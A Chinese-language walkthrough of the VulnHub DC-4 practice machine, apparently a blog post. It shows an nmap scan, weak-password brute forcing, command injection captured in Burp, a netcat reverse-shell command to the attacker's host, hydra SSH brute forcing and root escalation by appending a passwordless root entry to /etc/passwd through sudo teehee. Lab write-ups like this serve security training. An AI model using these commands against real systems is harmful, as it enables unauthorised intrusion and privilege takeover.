DC系列靶机-DC4

一,环境的搭建

VM17 官网下载

kali 2023.4版 https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.4/

靶场文件 https://download.vulnhub.com/dc/DC-4.zip

二,攻略

主机发现;

靶机IP为:192.168.20.146

端口扫描;

复制代码
nmap -sV -p- -sC -T4 192.168.20.146

开放了22和80两个端口;

首先访问一下IP;

只有一个登录界面;

直接admin跑弱口令;

拿到一个密码,尝试登录;

进入command;

这三个命令都是可以执行的;

尝试burp suite抓包;

执行了这样的命令;

修改命令,查看是否可以执行;

可以执行其他的命令,尝试查看cat /etc/passwd

设置一个反弹连接;使用kali监听7777端口;

执行命令进行反弹连接;

bash 复制代码
nc -nv 192.168.20.151 7777 -c /bin/bash

建立连接成功;

bash 复制代码
python -c 'import pty;pty.spawn("/bin/bash")'

上述passwd中存在三个用户;

果然,在jim的目录下发现了一个旧的密码文件;

bash 复制代码
 hydra -L u.txt -P pass.txt 192.168.20.146 ssh

使用hydra跑一下上面的用户的ssh服务;

发现一组成功的密码;现在尝试切换用户;

切换成功,现在收集信息;

jim中没有可以使用root权限运行的程序;

在jim用户的/var/mail/jim邮件中存在一个charles用户的密码;

这封邮件来自于charles用户;

接下来尝试登录charles用户;

登录成功,并且存在一个root权限执行的程序,而且不需要密码;

使用teehee写入一个用户,具有root用户的权限;且没有密码;

bash 复制代码
echo 'mu::0:0::/root:/bin/bash' | sudo teehee -a /etc/passwd

这样就拿到了最终的flag;

三,结论

拿到登录框首先要尝试弱口令,对后台用户进行爆破;

在每切换到一个用户的时候,要尽可能多的进行信息收集,收集一切可以利用的信息;

相关推荐
未来之窗软件服务8 小时前
自考大学★信息安全●简答题—东方仙盟
安全·web安全·仙盟创梦ide·东方仙盟
IT大白鼠8 小时前
彭大帅的AI运维助手——自然语言管理 Linux 集群与网络设备——第 0 篇 · 导读:把 Linux 运维交给 AI,到底靠谱吗
linux·运维·人工智能
分布式存储与RustFS9 小时前
自托管对象存储的三种 TLS 签发:自签、Let‘s Encrypt、内网 CA 的选择与轮换
运维·云原生·开源·对象存储·分布式存储·s3·性能基准
XLYcmy9 小时前
基于图神经网络的物联网固件漏洞静态挖掘技术方案 上
神经网络·物联网·网络安全·二进制·elf·漏洞检测·固件
AI智讯中枢9 小时前
高性能 C++ 实战 (五):perf+FlameGraph 火焰图生产实战,精准定位 CPU / 缓存 / 锁瓶颈,避坑 + 完整实操案例
linux·c++·性能调优·性能分析·perf·flamegraph·火焰图
兴通物联科技9 小时前
对俄出口诚实标识 2026 时间节点与产线赋码采集技术方案
大数据·服务器·单片机·嵌入式硬件·深度学习·计算机视觉
VidDown9 小时前
从一堆脚本到能维护的系统:视频处理管道的工程化
服务器·ffmpeg·音视频·视频编解码
Li-Yongjun9 小时前
fuser
运维
William Dawson9 小时前
kkFileView 内网 ARM 服务器全链路部署:从「找不到 office」到全绿通关(超详细排障实录)
运维·服务器
海宇数据9 小时前
零信任架构实战:基于海宇车型识别精准构建自动化违章处理网关
运维·人工智能·架构·自动化